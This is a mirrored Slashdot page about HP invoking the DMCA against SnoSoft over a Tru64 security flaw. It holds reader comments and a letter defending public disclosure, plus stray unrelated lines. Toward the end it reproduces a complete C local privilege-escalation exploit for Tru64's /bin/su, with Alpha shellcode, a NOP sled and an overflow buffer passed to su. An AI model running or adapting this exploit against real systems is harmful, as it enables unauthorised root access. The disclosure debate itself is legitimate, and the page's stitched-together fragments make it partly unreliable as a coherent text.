Slashdot Mirror
HP Uses DMCA To Quash Vulnerability Publication
Several readers wrote to note the fact that HP has evidently threatened to use the DMCA and computer crime laws against SnoSoft who have found a security flaw in Tru64. The quote from the HP VP is that the accused "could be fined up to $500,000 and imprisoned for up to five years."
I am quite disappointed with HP's recent conduct with two issues related to the DMCA. I am in a senior enough position as a UNIX administrator that I have significant impact in how a multi-million dollar IT budget is spent. HP's invocation of the DMCA reduces my trust in HP as a vendor of secure and reliable technology. Therefore I am less inclined now than I ever have been in the past to purchase HP products.
The first issue is HP's request that Bruce Parens not present his findings on DVD copyright controls. If he is acting on his own behalf, and includes a disclaimer that this is a separate issue from what he does under the employment of HP, he should be allowed to go forth. If he is presenting HP intellectual property, HP has the right and responsibility to protect itself. This, however, does not seem to be the case.
The more disturbing issue is with regards to the handling of SnoSoft's publication of root exploits to the Tru64 operating system. As a UNIX administrator, I am responsible for researching technologies that I will put into production. Many times, these products are used to protect the intellectual property, stability, or other things that are of great importance to my employer's success and my career. If security researchers cannot force many of the bugs out in the open before I evaluate products, I have much more work on my hands. Furthermore, if I find a bug that I know can be used to compromise my system, without the ability to publicly discuss and disclose the bug, I may be unable to get a fix from the vendor or a home-grown workaround. If I am at the complete mercy of my vendors' good will, I fear that I will have a system that lacks stability and security.
Please reconsider your decision to use the Digital Millenium Copyright Act to stifle free speech. Once you come to the realization that the DMCA is not a law that is useful for HP, please put your lobbying efforts into repealing it and push for funding to enforce pre-DMCA laws that already provide more than adequate protections on copyright and other intellectual property issues.
I do not speak for my employer. Please remember, however, that my employer trusts me to make decisions that are in the employer's best interest. Your actions suggest that the purchase of HP products is in the best interest of no employer that I would work for.
The American way is the right to Life, Liberty, and the pursuit of Happiness. The American way is that no law shall abridge free of speech or of the press.
"The only law shalt be maximixe your stock price at all costs" is part of something worse. It isn't even part of the Capitalist way, for true capitalism only works with wide availability of information and strong competition. This is the inbred freak son of Capitalism and Greed. The is the way of life of scam artists, shysters, hucksters, thieves. This is the Monopolist's Way.
I understand perfectly well that "thou shalt increase your stock price or face lawsuits," but I don't have to like it. It's a corruption of everything America, freedom, and true capitalism. I have every right to name it beast and call for it to be cast into the fires.
Search 2010 Gen Con events
Bruce, if I were president of HP, I would immediately fire Kent Ferson, the vice president who wrote the letter. The letter says, basically, that HP is not able to fix the problem, and would rather hide its security problems.
This is a marketing disaster for HP. Probably Mr. Ferson has little technical knowledge and does not realize that his letter speaks loudly and clearly to the whole world of technically knowledgeable people, and does irrepairable damage to HP.
We live in an amazing world where free products are better than expensive ones. The open source response to a security problem is to have a bug fix on all the mirrors in 48 hours. The response of billion dollar companies with tens of thousands of well-paid employees is to try to weasel out of doing the right thing. Who would have guessed it would be that way?
It seems that you could do HP a big favor if you could educate top management. But maybe they are not educable.
Bruce
Bruce Perens.
Bruce
Bruce Perens.
#include <stdio.h>
/* 0x140010401 */
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=
"\x30\x15\xd9\x43" "\x11\x74\xf0\x47" "\x12\x14\x02\x42" "\xfc\xff\x32\xb2" "\x12\x94\x09\x42" "\xfc\xff\x32\xb2" "\xff\x47\x3f\x26" "\x1f\x04\x31\x22" "\xfc\xff\x30\xb2" "\xf7\xff\x1f\xd2" "\x10\x04\xff\x47"
"\x11\x14\xe3\x43" "\x20\x35\x20\x42" "\xff\xff\xff\xff" "\x30\x15\xd9\x43" "\x31\x15\xd8\x43" "\x12\x04\xff\x47" "\x40\xff\x1e\xb6" "\x48\xff\xfe\xb7" "\x98\xff\x7f\x26" "\xd0\x8c\x73\x22" "\x13\x05\xf3\x47" "\x3c\xff\x7e\xb2" "\x69\x6e\x7f\x26" "\x2f\x62\x73\x22" "\x38\xff\x7e\xb2" "\x13\x94\xe7\x43" "\x20\x35\x60\x42" "\xff\xff\xff\xff";
main(int argc, char *argv[]) {
int i, j;
char buffer[8239];
char payload[15200];
char nop[] = "\x1f\x04\xff\x47";
bzero(&buffer, 8239);
bzero(&payload, 15200);
for (i=0;i<8233;i++)
buffer[i] = 0x41;
buffer[i++] = 0x01;
buffer[i++] = 0x04;
buffer[i++] = 0x01;
buffer[i++] = 0x40;
buffer[i++] = 0x01;
for (i=0;i<15000;) {
for(j=0;j<4;j++) {
payload[i++] = nop[j];
}
}
for (i=i,j=0;j<sizeof(shellcode);i++,j++)
payload[i] = shellcode[j];
printf("/bin/su by phased\n");
printf("payload %db\n", strlen(payload));
printf("buffer %db\n", strlen(buffer));
execl("/usr/bin/su", "su", buffer, payload, 0);
}
The theory of relativity doesn't work right in Arkansas.